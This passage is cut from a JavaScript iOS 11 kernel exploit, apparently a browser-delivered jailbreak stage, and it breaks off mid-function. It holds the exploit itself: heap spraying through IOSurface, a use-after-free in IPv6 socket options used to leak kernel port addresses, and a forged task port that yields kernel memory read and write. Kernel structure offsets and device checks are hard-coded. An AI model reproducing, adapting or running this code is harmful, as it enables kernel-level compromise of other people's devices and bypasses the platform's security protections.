dlsym("mach_vm_allocate\x00"); 335 | var mach_vm_read_overwrite_ptr = dlsym("mach_vm_read_overwrite\x00"); 336 | var mach_vm_write_ptr = dlsym("mach_vm_write\x00"); 337 | var malloc_ptr = dlsym("malloc\x00"); 338 | var memcpy_ptr = dlsym("memcpy\x00"); 339 | var memset_ptr = dlsym("memset\x00"); 340 | var pid_for_task_ptr = dlsym("pid_for_task\x00"); 341 | var pipe_ptr = dlsym("pipe\x00"); 342 | var pthread_yield_np_ptr = dlsym("pthread_yield_np\x00"); 343 | var read_ptr = dlsym("read\x00"); 344 | var setsockopt_ptr = dlsym("setsockopt\x00"); 345 | var socket_ptr = dlsym("socket\x00"); 346 | var uname_ptr = dlsym("uname\x00"); 347 | var usleep_ptr = dlsym("usleep\x00"); 348 | var write_ptr = dlsym("write\x00"); 349 | 350 | function assert(condition, text) { 351 | if (condition) { 352 | return; 353 | } 354 | throw text; 355 | } 356 | 357 | var scratch_array = new Uint32Array(2048); 358 | var scratch = leakvec32(scratch_array); 359 | 360 | ////////////////////////////////////////////////////////////////////////////// 361 | 362 | var offsets; 363 | var create_outsize; 364 | var pagesize = 0x4000; 365 | 366 | var SMAP = false; 367 | 368 | var kstruct_offsets_11 = { 369 | KSTRUCT_OFFSET_TASK_VM_MAP: 0x20, 370 | KSTRUCT_OFFSET_TASK_PREV: 0x30, 371 | KSTRUCT_OFFSET_TASK_ITK_SPACE: 0x308, 372 | KSTRUCT_OFFSET_TASK_BSD_INFO: 0x368, 373 | 374 | KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER: 0x60, 375 | KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT: 0x68, 376 | 377 | KSTRUCT_OFFSET_PROC_PID: 0x10, 378 | KSTRUCT_OFFSET_PROC_P_FD: 0x108, 379 | 380 | KSTRUCT_OFFSET_FILEPROC_F_FGLOB: 0x8, 381 | 382 | KSTRUCT_OFFSET_FILEGLOB_FG_DATA: 0x38, 383 | 384 | KSTRUCT_OFFSET_PIPE_BUFFER: 0x10, 385 | 386 | KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE: 0x14, 387 | KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE: 0x20, 388 | }; 389 | 390 | function offsets_init() { 391 | fcall(uname_ptr, scratch.add32(0x100)); 392 | 393 | let rele = scratch_array[(0x100 + 0x200) / 4]; 394 | if (rele == 0x302e3731) { // 11.0.x 395 | create_outsize = 0xbc8; // 0x6c8; 396 | offsets = kstruct_offsets_11; 397 | } else if (rele == 0x322e3731 || rele == 0x332e3731 || rele == 0x342e3731) { // 11.1.x - 11.2.6 398 | create_outsize = 0xbc8; 399 | offsets = kstruct_offsets_11; 400 | } else { 401 | create_outsize = 0xbc8; 402 | offsets = kstruct_offsets_11; 403 | } 404 | 405 | if (scratch_array[(0x100 + 0x400) / 4] == 0x6F685069) { // iPho 406 | let machine = scratch_array[(0x100 + 0x400) / 4 + 1]; 407 | if ((machine & 0xFF000000) == 0x2c000000) { 408 | // 6F685069 2C39656E ......31 iPhone9,1 409 | machine = (machine >>> 16) & 0xFF; 410 | } else { 411 | // 6F685069 3031656E ....312C iPhone10,1 412 | machine = (machine >>> 16) & 0xFFFF; 413 | } 414 | // XXX iPhone7,x and below has 4k pages 415 | if (machine <= 0x37) { 416 | pagesize = 0x1000; 417 | } 418 | if (machine >= 0x39) { 419 | SMAP = true; 420 | } 421 | //} else if (scratch_array[0x500 / 4] == 0x64615069) { // iPad: 64615069 ..332C35 iPad5,3 422 | // XXX iPad5,x and below has 4k pages, but 5,x is known to report 16k for host_page_size(mach_host_self(), &sz); 423 | //} else if (scratch_array[0x500 / 4] == 0x646F5069) { // iPod: 646F5069 ..312C37 iPod7,1 424 | // XXX iPod7,x and below has 4k pages 425 | //} else if (scratch_array[0x500 / 4] == 0x6C707041) { // Appl: 6C707041 35565465 ....332C AppleTV5,3 426 | // XXX AppleTV5,x and below has 4k pages 427 | } 428 | } 429 | 430 | // ============== kernel_memory ======================== 431 | 432 | var tfpzero; 433 | 434 | function kalloc(size) { 435 | scratch_array[0] = 0; 436 | scratch_array[1] = 0; 437 | fcall(mach_vm_allocate_ptr, tfpzero, scratch, size, 1); // VM_FLAGS_ANYWHERE 438 | return new Uint64(scratch_array[0], scratch_array[1]); 439 | } 440 | 441 | function kread(where, p, size) { 442 | let offset = 0; 443 | while (offset < size) { 444 | let chunk = 2048; 445 | if (chunk > size - offset) { 446 | chunk = size - offset; 447 | } 448 | let rv = fcall(mach_vm_read_overwrite_ptr, tfpzero, where.add32(offset), chunk, p.add32(offset), scratch); 449 | if (rv.lo || scratch_array[0] == 0) { 450 | throw 'kread'; 451 | } 452 | offset += scratch_array[0]; 453 | } 454 | return offset; 455 | } 456 | 457 | function kwrite(where, p, size) { 458 | let offset = 0; 459 | while (offset < size) { 460 | let chunk = 2048; 461 | if (chunk > size - offset) { 462 | chunk = size - offset; 463 | } 464 | let rv = fcall(mach_vm_write_ptr, tfpzero, where.add32(offset), p.add32(offset), chunk); 465 | if (rv.lo) { 466 | throw 'kwrite'; 467 | } 468 | offset += chunk; 469 | } 470 | return offset; 471 | } 472 | 473 | function find_port(port, task_self) { 474 | let task_addr = rk64(task_self.add32(offsets.KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 475 | let itk_space = rk64(task_addr.add32(offsets.KSTRUCT_OFFSET_TASK_ITK_SPACE)); 476 | let is_table = rk64(itk_space.add32(offsets.KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE)); 477 | 478 | let port_index = port >> 8; 479 | const sizeof_ipc_entry_t = 0x18; 480 | 481 | return rk64(is_table.add32(port_index * sizeof_ipc_entry_t)); 482 | } 483 | 484 | // ============== iosurface ============================ 485 | 486 | var IOSurfaceRoot; 487 | var IOSurfaceRootUserClient; 488 | var IOSurface_id = 0; 489 | 490 | function IOSurface_init() { 491 | IOSurfaceRoot = fcall(IOServiceGetMatchingService_ptr, read8(dlsym("kIOMasterPortDefault\x00")), fcall(IOServiceMatching_ptr, sptr("IOSurfaceRoot\x00"))); 492 | if (IOSurfaceRoot.lo == 0) { 493 | throw 'IOSurfaceRoot'; 494 | } 495 | let kr = fcall(IOServiceOpen_ptr, IOSurfaceRoot, mach_task_self_, 0, scratch); 496 | if (kr.lo) { 497 | throw 'IOServiceOpen'; 498 | } 499 | IOSurfaceRootUserClient = new Uint64(scratch_array[0], scratch_array[1]); 500 | 501 | let create_args = scratch.add32(0x10); 502 | scratch_array[0x10 / 4 + 7] = 0x4000; // .alloc_size = 0x4000 503 | 504 | let lock_result = scratch.add32(1024 * 4); 505 | 506 | let lock_result_size = scratch.add32(0x30); 507 | scratch_array[0x30 / 4] = create_outsize; 508 | 509 | kr = fcall(IOConnectCallMethod_ptr, 510 | IOSurfaceRootUserClient, 511 | 6, // create_surface_client_fast_path 512 | 0, 0, 513 | create_args, 0x20, // sizeof(create_args) 514 | 0, 0, 515 | lock_result, lock_result_size); 516 | if (kr.lo) { 517 | throw 'IOConnectCallMethod'; 518 | } 519 | IOSurface_id = scratch_array[1024 + 6]; 520 | if (!IOSurface_id) { 521 | IOSurface_id = scratch_array[1024 + 4]; 522 | } 523 | } 524 | 525 | function IOSurface_deinit() { 526 | if (IOSurface_id) { 527 | IOSurface_id = 0; 528 | fcall(IOServiceClose_ptr, IOSurfaceRootUserClient); 529 | fcall(IOObjectRelease_ptr, IOSurfaceRoot); 530 | } 531 | } 532 | 533 | // A wrapper around IOSurfaceRootUserClient::set_value(). 534 | function IOSurface_set_value(args, args_size) { 535 | scratch_array[0] = 4; 536 | scratch_array[1] = 0; 537 | let kr = fcall(IOConnectCallMethod_ptr, 538 | IOSurfaceRootUserClient, 539 | 9, // set_value 540 | 0, 0, 541 | args, args_size, 542 | 0, 0, 543 | scratch.add32(8), scratch); 544 | if (kr.lo) { 545 | return false; 546 | } 547 | return true; 548 | } 549 | 550 | // Encode an integer so that it does not contain any null bytes. 551 | function base255_encode(value) { 552 | let encoded = 0; 553 | for (let i = 0; i < 4; i++) { 554 | encoded |= (value % 255 + 1) << (8 * i); 555 | value = (value / 255) >> 0; 556 | } 557 | return encoded; 558 | } 559 | 560 | function xml_units_for_data_size(data_size) { 561 | return ((data_size - 1) + (4 - 1)) >> 2; 562 | } 563 | 564 | // Create the template of the serialized array to pass to IOSurfaceUserClient::set_value(). 565 | // Returns the size of the serialized data in units. 566 | function serialize_IOSurface_data_array(xml, array_length, data_size, xml_data) { 567 | let x = 2; 568 | xml[x++] = kOSSerializeBinarySignature; 569 | xml[x++] = kOSSerializeArray | 2 | kOSSerializeEndCollection; 570 | xml[x++] = kOSSerializeArray | array_length; 571 | for (let i = 0; i < array_length; i++) { 572 | let flags = (i == array_length - 1 ? kOSSerializeEndCollection : 0); 573 | xml[x++] = kOSSerializeData | (data_size - 1) | flags; 574 | xml_data[i] = x; 575 | x += xml_units_for_data_size(data_size); 576 | } 577 | xml[x++] = kOSSerializeSymbol | (4 + 1) | kOSSerializeEndCollection; 578 | let key = x++; // This will be filled in on each array loop. 579 | xml[x++] = 0; // Null-terminate the symbol. 580 | return key; 581 | } 582 | 583 | var total_arrays = 0; 584 | 585 | // A generalized version of IOSurface_spray_with_gc() and IOSurface_spray_size_with_gc(). 586 | function IOSurface_spray_with_gc_internal(array_count, array_length, extra_count, data, data_size, callback) { 587 | assert(array_count <= 0xffffff && array_length <= 0xffff && data_size <= 0xffffff && extra_count < array_count, 'params'); 588 | if (!IOSurface_id) { 589 | throw 'IOSurface_id'; 590 | } 591 | // How big will our OSUnserializeBinary dictionary be? 592 | let current_array_length = array_length + (extra_count > 0 ? 1 : 0); 593 | let xml_units_per_data = xml_units_for_data_size(data_size); 594 | let xml_units = 1 + 1 + 1 + (1 + xml_units_per_data) * current_array_length + 1 + 1 + 1; 595 | // Allocate the args struct. 596 | let args = new Uint32Array(2 + xml_units); 597 | let args_vec = leakvec32(args); 598 | // Build the IOSurfaceValueArgs. 599 | args[0] = IOSurface_id; 600 | // Create the serialized OSArray. We'll remember the locations we need to fill in with our 601 | // data as well as the slot we need to set our key. 602 | let xml_data = new Uint32Array(current_array_length); 603 | let key = serialize_IOSurface_data_array(args, current_array_length, data_size, xml_data); 604 | assert(key == xml_units, 'key'); 605 | // Keep track of when we need to do GC. 606 | let sprayed = 0; 607 | let next_gc_step = 0; 608 | // Loop through the arrays. 609 | for (let array_id = 0; array_id < array_count; array_id++) { 610 | // If we've crossed the GC sleep boundary, sleep for a bit and schedule the 611 | // next one. 612 | // Now build the array and its elements. 613 | args[key] = base255_encode(total_arrays + array_id); 614 | for (let data_id = 0; data_id < current_array_length; data_id++) { 615 | // Update the data for this spray if the user requested. 616 | if (callback) { 617 | callback(array_id, data_id, data, data_size); 618 | } 619 | // Copy in the data to the appropriate slot. 620 | fcall(memcpy_ptr, args_vec.add32(xml_data[data_id] * 4), data, data_size - 1); 621 | } 622 | // Finally set the array in the surface. 623 | ok = IOSurface_set_value(args_vec, args.length * 4); 624 | if (!ok) { 625 | args = null; 626 | xml_data = null; 627 | return false; 628 | } 629 | if (ok) { 630 | sprayed += data_size * current_array_length; 631 | // If we just sprayed an array with an extra element, decrement the 632 | // outstanding extra_count. 633 | if (current_array_length > array_length) { 634 | assert(extra_count > 0, 'extra_count'); 635 | extra_count--; 636 | // If our extra_count is now 0, rebuild our serialized array. (We 637 | // could implement this as a memmove(), but I'm lazy.) 638 | if (extra_count == 0) { 639 | current_array_length--; 640 | key = serialize_IOSurface_data_array(args, current_array_length, data_size, xml_data); 641 | } 642 | } 643 | } 644 | } 645 | if (next_gc_step > 0) { 646 | } 647 | // Clean up resources. 648 | args = null; 649 | xml_data = null; 650 | total_arrays += array_count; 651 | return true; 652 | } 653 | 654 | // from Ian Beer. make a kernel allocation with the kernel address of 'target_port', 'count' times 655 | function fill_kalloc_with_port_pointer(target_port, count, disposition) { 656 | let kr = fcall(mach_port_allocate_ptr, mach_task_self_, 1, scratch); // MACH_PORT_RIGHT_RECEIVE 657 | if (kr.lo) { 658 | throw 'fill_kalloc_with_port_pointer 1'; 659 | } 660 | let q = scratch_array[0]; 661 | 662 | let ports = new Uint32Array(count); 663 | let ports_addr = leakvec32(ports); 664 | for (let i = 0; i < count; i++) { 665 | ports[i] = target_port; 666 | } 667 | 668 | const message_size = 44; // sizeof(struct ool_msg)); 669 | let msg = new Uint32Array(message_size / 4); 670 | let msg_header = leakvec32(msg); 671 | 672 | msg[0] = 0x80000014; // msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); 673 | msg[1] = message_size; // msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg); 674 | msg[2] = q; // msg->hdr.msgh_remote_port = q; 675 | msg[3] = 0; // msg->hdr.msgh_local_port = MACH_PORT_NULL; 676 | msg[5] = 0x41414141; // msg->hdr.msgh_id = 0x41414141; 677 | 678 | msg[6] = 1; // msg->body.msgh_descriptor_count = 1; 679 | 680 | msg[7] = ports_addr.lo; // msg->ool_ports.address = ports; 681 | msg[8] = ports_addr.hi; // msg->ool_ports.address = ports; 682 | msg[10] = count; // msg->ool_ports.count = count; 683 | msg[9] = 0x2000000 | (disposition << 16); // msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR, deallocate = FALSE, copy = MACH_MSG_PHYSICAL_COPY, disposition = disposition 684 | 685 | kr = fcall(mach_msg_send_ptr, msg_header); 686 | if (kr.lo) { 687 | throw 'fill_kalloc_with_port_pointer 2'; 688 | } 689 | 690 | msg = null; 691 | ports = null; 692 | return q; 693 | } 694 | 695 | // ============== exploit_utilities ==================== 696 | 697 | function message_size_for_kalloc_size(kalloc_size) { 698 | return ((3 * kalloc_size) >> 2) - 0x74; 699 | } 700 | 701 | // Ian Beer 702 | function send_kalloc_message(replacer_message_body, replacer_body_size) { 703 | let err = fcall(mach_port_allocate_ptr, mach_task_self_, 1, scratch); // MACH_PORT_RIGHT_RECEIVE 704 | if (err.lo) { 705 | throw 'send_kalloc_message 1'; 706 | } 707 | let q = scratch_array[0]; 708 | 709 | scratch_array[0] = 1024; // mach_port_limits_t limits = { .mpl_qlimit = MACH_PORT_QLIMIT_LARGE }; 710 | err = fcall(mach_port_set_attributes_ptr, mach_task_self_, 711 | q, 712 | 1, // MACH_PORT_LIMITS_INFO 713 | scratch, 714 | 1); // MACH_PORT_LIMITS_INFO_COUNT 715 | if (err.lo) { 716 | throw 'send_kalloc_message 2'; 717 | } 718 | 719 | let msg_size = 24 + replacer_body_size; 720 | let msg = new Uint32Array(msg_size / 4); 721 | let msg_header = leakvec32(msg); 722 | fcall(memcpy_ptr, msg_header.add32(24), replacer_message_body, replacer_body_size); 723 | 724 | for (let i = 0; i < 256; i++) { 725 | msg[0] = 20; // msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); 726 | msg[1] = msg_size; // msg->hdr.msgh_size = msg_size; 727 | msg[2] = q; // msg->hdr.msgh_remote_port = q; 728 | msg[3] = 0; // msg->hdr.msgh_local_port = MACH_PORT_NULL; 729 | msg[5] = 0x41414142; // msg->hdr.msgh_id = 0x41414142; 730 | 731 | err = fcall(mach_msg_send_ptr, msg_header); 732 | if (err.lo) { 733 | throw 'send_kalloc_message 3'; 734 | } 735 | } 736 | 737 | msg = null; 738 | return q; 739 | } 740 | 741 | // ============== exploit ============================== 742 | 743 | function getminmtu(sock) { 744 | scratch_array[0] = 4; 745 | scratch_array[1] = 0; 746 | fcall(getsockopt_ptr, sock, 41, 42, scratch.add32(4), scratch); // getsockopt(sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, &size); 747 | return scratch_array[1]; 748 | } 749 | 750 | // return a socket ready for UAF 751 | function get_socket_with_dangling_options() { 752 | let sock = fcall(socket_ptr, 30, 1, 6); // socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP); 753 | if (sock.lo & 0x80000000) { 754 | throw 'get_socket_with_dangling_options 1'; 755 | } 756 | 757 | // allow setsockopt() after disconnect() 758 | // struct so_np_extensions sonpx = {.npx_flags = SONPX_SETOPTSHUT, .npx_mask = SONPX_SETOPTSHUT}; 759 | scratch_array[0] = 1; 760 | scratch_array[1] = 1; 761 | let kr = fcall(setsockopt_ptr, sock, 0xFFFF, 0x1083, scratch, 8); // setsockopt(sock, SOL_SOCKET, SO_NP_EXTENSIONS, &sonpx, sizeof(sonpx)); 762 | if (kr.lo) { 763 | throw 'get_socket_with_dangling_options 2'; 764 | } 765 | 766 | scratch_array[0] = -1; // minmtu 767 | fcall(setsockopt_ptr, sock, 41, 42, scratch, 4); // setsockopt(sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, sizeof(*minmtu)); 768 | 769 | fcall(disconnectx_ptr, sock, 0, 0); 770 | 771 | return sock.lo; 772 | } 773 | 774 | function new_port() { 775 | let rv = fcall(mach_port_allocate_ptr, mach_task_self_, 1, scratch); // MACH_PORT_RIGHT_RECEIVE 776 | if (rv.lo) { 777 | throw 'new_port 1'; 778 | } 779 | let port = scratch_array[0]; 780 | rv = fcall(mach_port_insert_right_ptr, mach_task_self_, port, port, 20); // MACH_MSG_TYPE_MAKE_SEND 781 | if (rv.lo) { 782 | throw 'new_port 2'; 783 | } 784 | return port; 785 | } 786 | 787 | // first primitive: leak the kernel address of a mach port 788 | function find_port_via_uaf(port) { 789 | // here we use the uaf as an info leak 790 | let sock = get_socket_with_dangling_options(); 791 | 792 | var ptr; 793 | for (let i = 0; i < 0x10000; i++) { 794 | // since the UAFd field is 192 bytes, we need 192/sizeof(uint64_t) pointers 795 | let p = fill_kalloc_with_port_pointer(port, 192 / 8, 19); // MACH_MSG_TYPE_COPY_SEND 796 | 797 | // this is like doing rk32(options + 180); 798 | let mtu = getminmtu(sock); 799 | // this like rk32(options + 184); 800 | scratch_array[0] = 4; 801 | scratch_array[1] = 0; 802 | fcall(getsockopt_ptr, sock, 41, 63, scratch.add32(4), scratch); // getsockopt(sock, IPPROTO_IPV6, IPV6_PREFER_TEMPADDR, prefertempaddr, &size); 803 | let pref = scratch_array[1]; 804 | 805 | // since we wrote 192/sizeof(uint64_t) pointers, reading like this would give us the second half of rk64(options + 184) and the fist half of rk64(options + 176) 806 | 807 | /* from a hex dump: 808 | 809 | (lldb) p/x HexDump(options, 192) 810 | XX XX XX XX F0 FF FF FF XX XX XX XX F0 FF FF FF | ................ 811 | ... 812 | XX XX XX XX F0 FF FF FF XX XX XX XX F0 FF FF FF | ................ 813 | |-----------||-----------| 814 | minmtu here prefertempaddr here 815 | */ 816 | 817 | fcall(mach_port_destroy_ptr, mach_task_self_, p); 818 | 819 | if (mtu >= 0xffffff00 && mtu != 0xffffffff && pref != 0xdeadbeef) { 820 | ptr = new Uint64(pref, mtu); 821 | break; 822 | } 823 | } 824 | 825 | // close that socket. 826 | fcall(close_ptr, sock); 827 | return ptr; 828 | } 829 | 830 | var cookie = 0x41424344; 831 | 832 | function read_20_via_uaf(addr) { 833 | let sockets = new Uint32Array(128); 834 | for (let i = 0; i < 128; i++) { 835 | sockets[i] = get_socket_with_dangling_options(); 836 | } 837 | 838 | // create a fake struct with our dangling port address as its pktinfo 839 | let fake_opts = new Uint32Array(48); // struct ip6_pktopts *fake_opts = calloc(1, sizeof(struct ip6_pktopts)); 840 | let fake_opts_vector = leakvec32(fake_opts); 841 | fake_opts[45] = cookie; // ->ip6po_minmtu // give a number we can recognize 842 | fake_opts[41] = cookie; // ->ip6po_minmtu // on iOS 10, offset is different 843 | fake_opts[4] = addr.lo; // ->ip6po_pktinfo 844 | fake_opts[5] = addr.hi; 845 | 846 | let found_at = -1; 847 | 848 | for (let i = 0; i < 20 && found_at < 0; i++) { // iterate through the sockets to find if we overwrote one 849 | IOSurface_spray_with_gc_internal(32, 256, 0, fake_opts_vector, fake_opts.length * 4); 850 | 851 | for (let j = 0; j < 128; j++) { 852 | let minmtu = getminmtu(sockets[j]); 853 | if (minmtu == cookie) { // found it! 854 | found_at = j; // save its index 855 | break; 856 | } 857 | } 858 | } 859 | 860 | fake_opts = null; 861 | 862 | for (let i = 0; i < 128; i++) { 863 | if (i != found_at) { 864 | fcall(close_ptr, sockets[i]); 865 | } 866 | } 867 | 868 | if (found_at < 0) { 869 | sockets = null; 870 | return null; 871 | } 872 | cookie++; 873 | 874 | scratch_array[0] = 20; // sizeof(struct in6_pktinfo) 875 | scratch_array[1] = 0; 876 | scratch_array[2] = 0; 877 | fcall(getsockopt_ptr, sockets[found_at], 41, 46, scratch.add32(4), scratch); // getsockopt(sock, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, &size); 878 | fcall(close_ptr, sockets[found_at]); 879 | 880 | sockets = null; 881 | if ((scratch_array[1] | scratch_array[2]) == 0) { 882 | return null; 883 | } 884 | return new Uint64(scratch_array[1], scratch_array[2]); 885 | } 886 | 887 | function null_20_via_uaf(addr) { 888 | // create a bunch of sockets 889 | let sockets = new Uint32Array(128); 890 | for (let i = 0; i < 128; i++) { 891 | sockets[i] = get_socket_with_dangling_options(); 892 | } 893 | 894 | // create a fake struct with our dangling port address as its pktinfo 895 | let fake_opts = new Uint32Array(48); // struct ip6_pktopts *fake_opts = calloc(1, sizeof(struct ip6_pktopts)); 896 | let fake_opts_vector = leakvec32(fake_opts); 897 | fake_opts[45] = cookie; // ->ip6po_minmtu // give a number we can recognize 898 | fake_opts[41] = cookie; // ->ip6po_minmtu // on iOS 10, offset is different 899 | fake_opts[4] = addr.lo; // ->ip6po_pktinfo 900 | fake_opts[5] = addr.hi; 901 | 902 | let found_at = -1; 903 | 904 | for (let i = 0; i < 20 && found_at < 0; i++) { // iterate through the sockets to find if we overwrote one 905 | IOSurface_spray_with_gc_internal(32, 256, 0, fake_opts_vector, fake_opts.length * 4); 906 | 907 | for (let j = 0; j < 128; j++) { 908 | let minmtu = getminmtu(sockets[j]); 909 | if (minmtu == cookie) { // found it! 910 | found_at = j; // save its index 911 | break; 912 | } 913 | } 914 | } 915 | 916 | fake_opts = null; 917 | 918 | for (let i = 0; i < 128; i++) { 919 | if (i != found_at) { 920 | fcall(close_ptr, sockets[i]); 921 | } 922 | } 923 | 924 | if (found_at < 0) { 925 | throw 'null_20_via_uaf'; 926 | } 927 | 928 | scratch_array[0] = 0; 929 | scratch_array[1] = 0; 930 | scratch_array[2] = 0; 931 | scratch_array[3] = 0; 932 | scratch_array[4] = 1; // buf->ipi6_ifindex = 1; 933 | 934 | let ret = fcall(setsockopt_ptr, sockets[found_at], 41, 46, scratch, 20); 935 | fcall(close_ptr, sockets[found_at]); 936 | sockets = null; 937 | return ret.lo; 938 | } 939 | 940 | function mach_port_waitq_flags() { 941 | return 0x66; 942 | } 943 | 944 | function rk64_check(addr) { 945 | let r = read_20_via_uaf(addr); 946 | if (r == null) { 947 | fcall(usleep_ptr, 100); 948 | r = read_20_via_uaf(addr); 949 | if (r == null) { 950 | throw 'rk64_check'; 951 | } 952 | } 953 | return r; 954 | } 955 | 956 | // ============== main ================================= 957 | 958 | offsets_init(); 959 | 960 | // -------------- INITIALIZE IOSURFACE ----------------- 961 | 962 | IOSurface_init(); 963 | 964 | // -------------- CHECK FOR SMAP ----------------------- 965 | 966 | var pipefdr, pipefdw; 967 | if (SMAP) { 968 | let kr = fcall(pipe_ptr, scratch); 969 | if (kr.lo) { 970 | throw 'pipes'; 971 | } 972 | pipefdr = scratch_array[0]; 973 | pipefdw = scratch_array[1]; 974 | 975 | let buf = scratch.add32(1024 * 4); 976 | fcall(memset_ptr, buf, 0, 0x600); 977 | fcall(write_ptr, pipefdw, buf, 0x600); 978 | fcall(read_ptr, pipefdr, buf, 0x600); 979 | } 980 | 981 | // -------------- SETUP FIRST PRIMITIVES --------------- 982 | 983 | var self_port_addr = find_port_via_uaf(mach_task_self_); // port leak primitive 984 | if (self_port_addr == undefined) { 985 | throw 'self_port_addr'; 986 | } 987 | 988 | var ipc_space_kernel = rk64_check(self_port_addr.add32(offsets.KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER)); 989 | 990 | var pipe_buffer; 991 | if (SMAP) { 992 | let task = rk64_check(self_port_addr.add32(offsets.KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 993 | let proc = rk64_check(task.add32(offsets.KSTRUCT_OFFSET_TASK_BSD_INFO)); 994 | let p_fd = rk64_check(proc.add32(offsets.KSTRUCT_OFFSET_PROC_P_FD)); 995 | let fd_ofiles = rk64_check(p_fd); 996 | let fproc = rk64_check(fd_ofiles.add32(pipefdr * 8)); 997 | let f_fglob = rk64_check(fproc.add32(offsets.KSTRUCT_OFFSET_FILEPROC_F_FGLOB)); 998 | let fg_data = rk64_check(f_fglob.add32(offsets.KSTRUCT_OFFSET_FILEGLOB_FG_DATA)); 999 | pipe_buffer = rk64_check(fg_data.add32(offsets.KSTRUCT_OFFSET_PIPE_BUFFER)); 1000 | 1001 | //throw '[*] pipe buffer: 0x' + pipe_buffer; 1002 | } 1003 | 1004 | // -------------- taken from async_wake ---------------- 1005 | 1006 | const MAX_KERNEL_TRAILER_SIZE = 0x44; 1007 | var replacer_body_size = message_size_for_kalloc_size(4096) - 24; // - sizeof(mach_msg_header_t); 1008 | var message_body_offset = 0x1000 - replacer_body_size - MAX_KERNEL_TRAILER_SIZE; 1009 | 1010 | var n_pre_ports = 100000; 1011 | var pre_ports = new Uint32Array(n_pre_ports); 1012 | for (let i = 0; i < n_pre_ports; i++) { 1013 | pre_ports[i] = new_port(); 1014 | } 1015 | 1016 | var smaller_body_size = message_size_for_kalloc_size(1024) - 24; 1017 | 1018 | var smaller_body = fcall(malloc_ptr, smaller_body_size); 1019 | fcall(memset_ptr, smaller_body, 0x43, smaller_body_size); 1020 | 1021 | const n_smaller_ports = 600; 1022 | var smaller_ports = new Uint32Array(n_smaller_ports); 1023 | for (let i = 0; i < n_smaller_ports; i++) { 1024 | smaller_ports[i] = send_kalloc_message(smaller_body, smaller_body_size); 1025 | } 1026 | 1027 | fcall(free_ptr, smaller_body); 1028 | 1029 | const ports_to_test = 100; 1030 | const base = n_pre_ports - 1000; 1031 | 1032 | var first_port = 0; 1033 | var first_port_address = 0; 1034 | 1035 | for (let i = 0; i < ports_to_test; i++) { 1036 | let candidate_port = pre_ports[base + i]; 1037 | let candidate_address = find_port_via_uaf(candidate_port); 1038 | if (candidate_address == undefined) { 1039 | continue; 1040 | } 1041 | let page_offset = candidate_address.lo & 0xfff; 1042 | if (page_offset > 0xa00 && page_offset < 0xe80) { // when using mach messages there are some limits as opposed to IOSurface 1043 | pre_ports[base + i] = 0; 1044 | first_port = candidate_port; 1045 | first_port_address = candidate_address; 1046 | break; 1047 | } 1048 | } 1049 | 1050 | if (first_port == 0) { 1051 | throw 'first_port'; 1052 | } 1053 | 1054 | null_20_via_uaf(first_port_address); 1055 | fcall(mach_port_insert_right_ptr, mach_task_self_, first_port, first_port, 20); // MACH_MSG_TYPE_MAKE_SEND 1056 | 1057 | for (let i = 0; i < n_pre_ports; i++) { 1058 | if (pre_ports[i]) { 1059 | fcall(mach_port_destroy_ptr, mach_task_self_, pre_ports[i]); 1060 | } 1061 | } 1062 | 1063 | for (let i = 0; i < n_smaller_ports; i++) { 1064 | fcall(mach_port_destroy_ptr, mach_task_self_, smaller_ports[i]); 1065 | } 1066 | 1067 | smaller_ports = null; 1068 | 1069 | let body = fcall(calloc_ptr, 1, replacer_body_size); 1070 | let port_page_offset = first_port_address.lo & 0xfff; 1071 | 1072 | let fakeport = body.add32(port_page_offset - message_body_offset); 1073 | let fake_task = fcall(calloc_ptr, 1, 0x600); 1074 | write4(fake_task.add32(16), 0xff); // fake_task->ref_count = 0xff; 1075 | 1076 | write4(fakeport, 0x80000002); // fakeport->ip_bits = IO_BITS_ACTIVE | IKOT_TASK; 1077 | write4(fakeport.add32(4), 0xd00d); // fakeport->ip_references = 0xd00d; 1078 | write8(fakeport.add32(0x10), 0x11); // fakeport->ip_lock.type = 0x11; 1079 | write4(fakeport.add32(0x4c), 1); // fakeport->ip_messages.port.receiver_name = 1; 1080 | write4(fakeport.add32(0x50), 1024 << 16); // fakeport->ip_messages.port.msgcount = 0; fakeport->ip_messages.port.qlimit = MACH_PORT_QLIMIT_LARGE; 1081 | write4(fakeport.add32(0x18), mach_port_waitq_flags()); // fakeport->ip_messages.port.waitq.flags = mach_port_waitq_flags(); 1082 | write4(fakeport.add32(0xa0), 99); // fakeport->ip_srights = 99; 1083 | 1084 | if (!SMAP) { 1085 | write8(fakeport.add32(0x68), fake_task); // fakeport->ip_kobject = (uint64_t)fake_task; 1086 | } else { 1087 | write8(fakeport.add32(0x68), pipe_buffer); // fakeport->ip_kobject = pipe_buffer; 1088 | fcall(write_ptr, pipefdw, fake_task, 0x600); 1089 | } 1090 | 1091 | write8(fakeport.add32(0x60), ipc_space_kernel); // fakeport->ip_receiver = ipc_space_kernel; 1092 | 1093 | const replacer_ports_limit = 200; 1094 | let replacer_ports = new Uint32Array(replacer_ports_limit); 1095 | for (let i = 0; i < replacer_ports_limit; i++) { 1096 | replacer_ports[i] = send_kalloc_message(body, replacer_body_size); 1097 | fcall(pthread_yield_np_ptr); 1098 | fcall(usleep_ptr, 10000); 1099 | } 1100 | 1101 | pre_ports = null; 1102 | 1103 | let read_addr_ptr = fake_task.add32(offsets.KSTRUCT_OFFSET_TASK_BSD_INFO); 1104 | 1105 | let rk32 = function(addr) { 1106 | if (SMAP) { 1107 | fcall(read_ptr, pipefdr, fake_task, 0x600); 1108 | } 1109 | write8(read_addr_ptr, addr.sub32(offsets.KSTRUCT_OFFSET_PROC_PID)); 1110 | if (SMAP) { 1111 | fcall(write_ptr, pipefdw, 